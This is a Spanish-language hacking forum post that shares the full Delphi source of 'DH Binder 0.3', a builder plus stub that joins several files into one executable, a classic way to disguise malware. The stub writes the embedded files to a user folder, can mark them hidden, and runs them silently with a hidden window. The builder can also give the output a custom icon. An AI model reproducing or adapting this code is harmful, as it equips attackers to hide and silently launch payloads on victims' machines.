elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH Binder 0.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH Binder 0.3  (Leído 1,500 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH Binder 0.3
« en: 25 Octubre 2013, 17:05 pm »

Un simple Binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado

Una imagen :



El codigo del Binder.

Código
  1. // DH Binder 0.3
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. unit dhbinde;
  9.  
  10. interface
  11.  
  12. uses
  13.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.  Dialogs, sSkinManager, acPNG, ExtCtrls, ComCtrls, sListView, sStatusBar,
  15.  StdCtrls, sGroupBox, sButton, sComboBox, sCheckBox, Menus, sEdit, madRes;
  16.  
  17. type
  18.  TForm1 = class(TForm)
  19.    sSkinManager1: TsSkinManager;
  20.    Image1: TImage;
  21.    sGroupBox1: TsGroupBox;
  22.    sStatusBar1: TsStatusBar;
  23.    sListView1: TsListView;
  24.    sGroupBox2: TsGroupBox;
  25.    sGroupBox3: TsGroupBox;
  26.    Image2: TImage;
  27.    sButton1: TsButton;
  28.    sGroupBox4: TsGroupBox;
  29.    sComboBox1: TsComboBox;
  30.    sGroupBox5: TsGroupBox;
  31.    sCheckBox1: TsCheckBox;
  32.    sGroupBox6: TsGroupBox;
  33.    sButton2: TsButton;
  34.    sButton3: TsButton;
  35.    sButton4: TsButton;
  36.    PopupMenu1: TPopupMenu;
  37.    l1: TMenuItem;
  38.    OpenDialog1: TOpenDialog;
  39.    OpenDialog2: TOpenDialog;
  40.    sEdit1: TsEdit;
  41.    C1: TMenuItem;
  42.    procedure l1Click(Sender: TObject);
  43.    procedure FormCreate(Sender: TObject);
  44.    procedure sButton1Click(Sender: TObject);
  45.    procedure sButton2Click(Sender: TObject);
  46.    procedure sButton3Click(Sender: TObject);
  47.    procedure sButton4Click(Sender: TObject);
  48.    procedure C1Click(Sender: TObject);
  49.  private
  50.    { Private declarations }
  51.  public
  52.    { Public declarations }
  53.  end;
  54.  
  55. var
  56.  Form1: TForm1;
  57.  
  58. implementation
  59.  
  60. uses about;
  61. {$R *.dfm}
  62. // Functions
  63.  
  64. function dhencode(texto, opcion: string): string;
  65. // Thanks to Taqyon
  66. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  67. var
  68.  num: integer;
  69.  aca: string;
  70.  cantidad: integer;
  71.  
  72. begin
  73.  
  74.  num := 0;
  75.  Result := '';
  76.  aca := '';
  77.  cantidad := 0;
  78.  
  79.  if (opcion = 'encode') then
  80.  begin
  81.    cantidad := length(texto);
  82.    for num := 1 to cantidad do
  83.    begin
  84.      aca := IntToHex(ord(texto[num]), 2);
  85.      Result := Result + aca;
  86.    end;
  87.  end;
  88.  
  89.  if (opcion = 'decode') then
  90.  begin
  91.    cantidad := length(texto);
  92.    for num := 1 to cantidad div 2 do
  93.    begin
  94.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  95.      Result := Result + aca;
  96.    end;
  97.  end;
  98.  
  99. end;
  100.  
  101. //
  102.  
  103. procedure TForm1.C1Click(Sender: TObject);
  104. begin
  105.  sListView1.Items.Clear;
  106. end;
  107.  
  108. procedure TForm1.FormCreate(Sender: TObject);
  109. begin
  110.  
  111.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  112.  sSkinManager1.SkinName := 'tv-b';
  113.  sSkinManager1.Active := True;
  114.  
  115.  OpenDialog1.InitialDir := GetCurrentDir;
  116.  OpenDialog2.InitialDir := GetCurrentDir;
  117.  OpenDialog2.Filter := 'ICO|*.ico|';
  118.  
  119. end;
  120.  
  121. procedure TForm1.l1Click(Sender: TObject);
  122. var
  123.  op: String;
  124. begin
  125.  
  126.  if OpenDialog1.Execute then
  127.  begin
  128.  
  129.    op := InputBox('Add File', 'Execute Hide ?', 'Yes');
  130.  
  131.    with sListView1.Items.Add do
  132.    begin
  133.      Caption := ExtractFileName(OpenDialog1.FileName);
  134.      if (op = 'Yes') then
  135.      begin
  136.        SubItems.Add(OpenDialog1.FileName);
  137.        SubItems.Add('Hide');
  138.      end
  139.      else
  140.      begin
  141.        SubItems.Add(OpenDialog1.FileName);
  142.        SubItems.Add('Normal');
  143.      end;
  144.    end;
  145.  
  146.  end;
  147. end;
  148.  
  149. procedure TForm1.sButton1Click(Sender: TObject);
  150. begin
  151.  
  152.  if OpenDialog2.Execute then
  153.  begin
  154.    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
  155.    sEdit1.Text := OpenDialog2.FileName;
  156.  end;
  157.  
  158. end;
  159.  
  160. procedure TForm1.sButton2Click(Sender: TObject);
  161. var
  162.  i: integer;
  163.  nombre: string;
  164.  ruta: string;
  165.  tipo: string;
  166.  savein: string;
  167.  opcionocultar: string;
  168.  lineafinal: string;
  169.  uno: DWORD;
  170.  tam: DWORD;
  171.  dos: DWORD;
  172.  tres: DWORD;
  173.  todo: Pointer;
  174.  change: DWORD;
  175.  valor: string;
  176.  stubgenerado: string;
  177.  
  178. begin
  179.  
  180.  if (sListView1.Items.Count = 0) or (sListView1.Items.Count = 1) then
  181.  begin
  182.    ShowMessage('You have to choose two or more files');
  183.  end
  184.  else
  185.  begin
  186.    stubgenerado := 'done.exe';
  187.  
  188.    if (sCheckBox1.Checked = True) then
  189.    begin
  190.      opcionocultar := '1';
  191.    end
  192.    else
  193.    begin
  194.      opcionocultar := '0';
  195.    end;
  196.  
  197.    if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  198.    begin
  199.      savein := 'USERPROFILE';
  200.    end
  201.    else
  202.    begin
  203.      savein := sComboBox1.Items[sComboBox1.ItemIndex];
  204.    end;
  205.  
  206.    DeleteFile(stubgenerado);
  207.    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe')
  208.        , PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado),
  209.      True);
  210.  
  211.    uno := BeginUpdateResource
  212.      (PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  213.  
  214.    for i := 0 to sListView1.Items.Count - 1 do
  215.    begin
  216.  
  217.      nombre := sListView1.Items[i].Caption;
  218.      ruta := sListView1.Items[i].SubItems[0];
  219.      tipo := sListView1.Items[i].SubItems[1];
  220.  
  221.      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
  222.        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
  223.      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode')
  224.        + '[63686175]';
  225.  
  226.      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  227.        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  228.      tam := GetFileSize(dos, nil);
  229.      GetMem(todo, tam);
  230.      ReadFile(dos, todo^, tam, tres, nil);
  231.      CloseHandle(dos);
  232.      UpdateResource(uno, RT_RCDATA, PChar(lineafinal), MAKEWord(LANG_NEUTRAL,
  233.          SUBLANG_NEUTRAL), todo, tam);
  234.  
  235.    end;
  236.  
  237.    EndUpdateResource(uno, False);
  238.  
  239.    if not(sEdit1.Text = '') then
  240.    begin
  241.      try
  242.        begin
  243.          change := BeginUpdateResourceW
  244.            (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  245.                  + '/' + stubgenerado)), False);
  246.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  247.            PWideChar(wideString(sEdit1.Text)));
  248.          EndUpdateResourceW(change, False);
  249.          sStatusBar1.Panels[0].Text := '[+] Done ';
  250.          Form1.sStatusBar1.Update;
  251.        end;
  252.      except
  253.        begin
  254.          sStatusBar1.Panels[0].Text := '[-] Error';
  255.          Form1.sStatusBar1.Update;
  256.        end;
  257.      end;
  258.    end
  259.    else
  260.    begin
  261.      sStatusBar1.Panels[0].Text := '[+] Done ';
  262.      Form1.sStatusBar1.Update;
  263.    end;
  264.  end;
  265.  
  266. end;
  267.  
  268. procedure TForm1.sButton3Click(Sender: TObject);
  269. begin
  270.  Form2.Show;
  271. end;
  272.  
  273. procedure TForm1.sButton4Click(Sender: TObject);
  274. begin
  275.  Form1.Close();
  276. end;
  277.  
  278. end.
  279.  
  280. // The End ?
  281.  

El codigo del Stub

Código
  1. // DH Binder 0.3
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. // Stub
  9.  
  10. program stub;
  11.  
  12. uses
  13.  Windows,
  14.  SysUtils,
  15.  ShellApi;
  16.  
  17. // Functions
  18.  
  19. function regex(text: String; deaca: String; hastaaca: String): String;
  20. begin
  21.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  22.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  23.  Result := text;
  24. end;
  25.  
  26. function dhencode(texto, opcion: string): string;
  27. // Thanks to Taqyon
  28. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  29. var
  30.  num: integer;
  31.  aca: string;
  32.  cantidad: integer;
  33.  
  34. begin
  35.  
  36.  num := 0;
  37.  Result := '';
  38.  aca := '';
  39.  cantidad := 0;
  40.  
  41.  if (opcion = 'encode') then
  42.  begin
  43.    cantidad := Length(texto);
  44.    for num := 1 to cantidad do
  45.    begin
  46.      aca := IntToHex(ord(texto[num]), 2);
  47.      Result := Result + aca;
  48.    end;
  49.  end;
  50.  
  51.  if (opcion = 'decode') then
  52.  begin
  53.    cantidad := Length(texto);
  54.    for num := 1 to cantidad div 2 do
  55.    begin
  56.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  57.      Result := Result + aca;
  58.    end;
  59.  end;
  60.  
  61. end;
  62.  
  63. //
  64.  
  65. // Start the game
  66.  
  67. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
  68. var
  69.  data: DWORD;
  70.  uno: DWORD;
  71.  dos: DWORD;
  72.  cinco2: string;
  73.  nombre: string;
  74.  tipodecarga: string;
  75.  ruta: string;
  76.  ocultar: string;
  77.  
  78. begin
  79.  
  80.  Result := True;
  81.  
  82.  cinco2 := cinco;
  83.  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  84.  cinco2 := dhencode(cinco2, 'decode');
  85.  cinco2 := LowerCase(cinco2);
  86.  
  87.  nombre := regex(cinco2, '[nombre]', '[nombre]');
  88.  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  89.  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  90.  ocultar := regex(cinco2, '[hide]', '[hide]');
  91.  
  92.  data := FindResource(0, cinco, cuatro);
  93.  
  94.  uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  95.    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  96.  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  97.    dos, nil);
  98.  
  99.  CloseHandle(uno);
  100.  
  101.  if (ocultar = '1') then
  102.  begin
  103.    SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  104.  end;
  105.  
  106.  if (tipodecarga = 'normal') then
  107.  begin
  108.    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
  109.  end
  110.  else
  111.  begin
  112.    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
  113.  end;
  114.  
  115. end;
  116.  
  117. begin
  118.  
  119.  EnumResourceNames(0, RT_RCDATA, @start, 0);
  120.  
  121. end.
  122.  
  123. // The End ?
  124.  

Si lo quieren bajar lo pueden hacer de aca.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
binder en vb « 1 2 »
Programación Visual Basic
loco5 10 6,391 Último mensaje 26 Septiembre 2005, 19:49 pm
por Kizar
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 25,463 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
[Delphi] DH Binder 0.5
Programación General
BigBear 0 1,611 Último mensaje 21 Mayo 2014, 23:11 pm
por BigBear
[Delphi] DH Binder 1.0
Programación General
BigBear 0 1,632 Último mensaje 27 Febrero 2015, 16:40 pm
por BigBear
[Delphi] DH Binder 2.0
Programación General
BigBear 0 1,543 Último mensaje 10 Febrero 2017, 00:30 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines